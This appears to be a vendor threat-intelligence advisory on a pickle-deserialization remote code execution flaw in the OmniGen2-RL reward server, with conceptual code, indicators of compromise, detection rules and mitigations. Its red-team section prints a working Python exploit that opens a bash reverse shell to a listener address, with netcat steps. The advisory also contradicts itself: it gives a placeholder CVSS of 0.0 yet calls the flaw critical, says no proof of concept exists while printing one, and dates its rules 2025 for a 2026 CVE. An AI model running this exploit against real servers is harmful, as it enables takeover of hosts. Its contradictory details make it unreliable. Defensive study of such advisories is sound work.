CVE-2026-25873
Executive Summary
CVE-2026-25873 is a critical unauthenticated remote code execution (RCE) vulnerability in the OmniGen2-RL reward server component. The flaw stems from insecure deserialization of Python pickle data within HTTP POST requests, allowing an attacker to execute arbitrary commands on the host system without authentication. The vulnerability has a CVSS score of 0.0 (placeholder) but is assessed as critical due to the lack of authentication required and the potential for full system compromise. No patch is currently available, and no public proof-of-concept (PoC) has been released. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains high for exposed instances.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
OmniGen2-RL is a Python-based reinforcement learning framework. The vulnerability exists in its reward server component, which likely uses the pickle module for deserialization. This is a known insecure practice, as pickle can execute arbitrary code during deserialization. Organizations using OmniGen2-RL should immediately assess their exposure and restrict network access to the reward server.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – Exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions required.
- Privileges Required (PR): None (N) – No authentication needed.
- User Interaction (UI): None (N) – No user action required.
- Scope (S): Unchanged (U) – Exploit does not affect other components.
- Confidentiality (C): High (H) – Full data access possible.
- Integrity (I): High (H) – Full system modification possible.
- Availability (A): High (H) – Full system disruption possible.
Threat Level: Critical. The combination of network exploitability, no authentication, and full impact makes this a top-priority vulnerability.
Deep Dive & Mechanics
The vulnerability resides in the reward server component of OmniGen2-RL. This server listens for HTTP POST requests containing serialized reward data. The server uses Python's pickle.loads() function to deserialize the request body without any validation or sanitization.
Python's pickle protocol is inherently unsafe when used with untrusted data. A malicious pickle payload can contain __reduce__ methods that execute arbitrary code during deserialization. An attacker can craft a pickle payload that, when deserialized, executes system commands (e.g., via os.system or subprocess).
The attack flow:
- Attacker identifies an exposed OmniGen2-RL reward server (e.g., via Shodan).
- Attacker crafts a malicious pickle payload that executes a reverse shell or other command.
- Attacker sends an HTTP POST request to the reward server endpoint with the malicious pickle data.
- The server deserializes the payload, triggering code execution.
- The attacker gains control of the host system.
Vulnerable vs. Patched Code
Vulnerable Code (Conceptual):
import pickle
from http.server import BaseHTTPRequestHandler, HTTPServer
class RewardHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
# INSECURE: Deserializes untrusted data
reward_data = pickle.loads(body)
# Process reward_data...
self.send_response(200)
self.end_headers()
Patched Code (Conceptual):
import json
from http.server import BaseHTTPRequestHandler, HTTPServer
class RewardHandler(BaseHTTPRequestHandler):
def do_POST(self):
content_length = int(self.headers['Content-Length'])
body = self.rfile.read(content_length)
# SECURE: Use JSON instead of pickle
try:
reward_data = json.loads(body)
except json.JSONDecodeError:
self.send_response(400)
self.end_headers()
return
# Process reward_data...
self.send_response(200)
self.end_headers()
The patched version replaces pickle.loads() with json.loads(), which is safe against code execution attacks. Additionally, input validation and authentication should be added.
Exploitation & Lab Setup
Red Team (Attack Simulation)
Lab Setup:
- Deploy a vulnerable OmniGen2-RL instance (e.g., using Docker with an exposed reward server port).
- Ensure the reward server is accessible from the attacker machine.
Exploit Code (Python):
import pickle
import os
import requests
class Exploit:
def __reduce__(self):
# Execute a reverse shell (replace with your listener IP/port)
cmd = "bash -c 'bash -i >& /dev/tcp/192.168.1.100/4444 0>&1'"
return (os.system, (cmd,))
payload = pickle.dumps(Exploit())
target_url = "http://target:8080/reward"
# Send malicious POST request
response = requests.post(target_url, data=payload)
print(f"Status: {response.status_code}")
Execution Steps:
- Start a netcat listener:
nc -lvnp 4444 - Run the exploit script.
- Receive reverse shell on the listener.
Blue Team (Defense & Detection)
Detection Steps:
- Monitor for HTTP POST requests to the reward server endpoint with unusually large or binary payloads.
- Inspect network traffic for pickle protocol markers (e.g.,
\x80\x04or\x80\x05at the start of payloads). - Enable logging of deserialization operations and alert on pickle usage.
- Use runtime application self-protection (RASP) to block pickle deserialization.
Mitigation:
- Immediately restrict network access to the reward server (firewall rules).
- If possible, disable the reward server until a patch is available.
- Implement authentication for the reward server endpoint.
- Replace pickle with a safe serialization format (e.g., JSON, MessagePack).
Indicators of Compromise (IOCs)
- Network IOCs:
- HTTP POST requests to
/rewardor similar endpoints with binary payloads starting with\x80\x04or\x80\x05. - Outbound connections from the server to unknown IPs on common reverse shell ports (4444, 1337, etc.).
- HTTP POST requests to
- File IOCs:
- Unexpected files in
/tmp/or/dev/shm/(e.g.,exploit.py,shell.sh). - Modified system binaries or scripts.
- Unexpected files in
- Process IOCs:
- Unusual child processes spawned by the Python process (e.g.,
bash,nc,python). - Processes listening on unexpected ports.
- Unusual child processes spawned by the Python process (e.g.,
- Log IOCs:
- Error logs containing
pickle.UnpicklingErroror similar. - Access logs showing POST requests with large body sizes.
- Error logs containing
Detection Engineering
YARA Rule
rule CVE_2026_25873_Pickle_Exploit {
meta:
description = "Detects malicious pickle payloads targeting CVE-2026-25873"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2026-25873"
strings:
$pickle_magic = { 80 04 | 80 05 }
$reduce_method = /__reduce__/
$os_system = /os\.system/
$subprocess = /subprocess\.(call|Popen)/
condition:
$pickle_magic at 0 and ($reduce_method or $os_system or $subprocess)
}
Sigma Rule
title: CVE-2026-25873 - OmniGen2-RL Pickle Deserialization RCE
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with pickle payloads to OmniGen2-RL reward server
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/reward'
sc-status: 200
filter:
cs-uri-query: '*json*'
condition: selection and not filter
falsepositives:
- Legitimate pickle usage (unlikely)
level: critical
Suricata Rule
alert http any any -> any any (msg:"CVE-2026-25873 - OmniGen2-RL Pickle Deserialization RCE"; flow:to_server; content:"POST"; http_method; content:"/reward"; http_uri; pcre:"/\x80\x04|\x80\x05/"; classtype:attempted-admin; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Isolate the reward server: Use firewall rules to restrict access to trusted IPs only.
- Disable the reward server: If not critical, stop the service until a patch is available.
- Monitor for exploitation: Deploy the detection rules above and review logs.
Long-term Fixes:
- Replace pickle with JSON: Modify the reward server to use
json.loads()instead ofpickle.loads(). - Add authentication: Require API keys or tokens for POST requests.
- Input validation: Validate the structure and size of incoming data.
- Apply vendor patch: Once available, test and deploy the official patch.
Workaround:
- Use a reverse proxy (e.g., Nginx) to inspect and block pickle payloads based on magic bytes.
Valters IT – DevSecOps & Cyber Threat Intelligence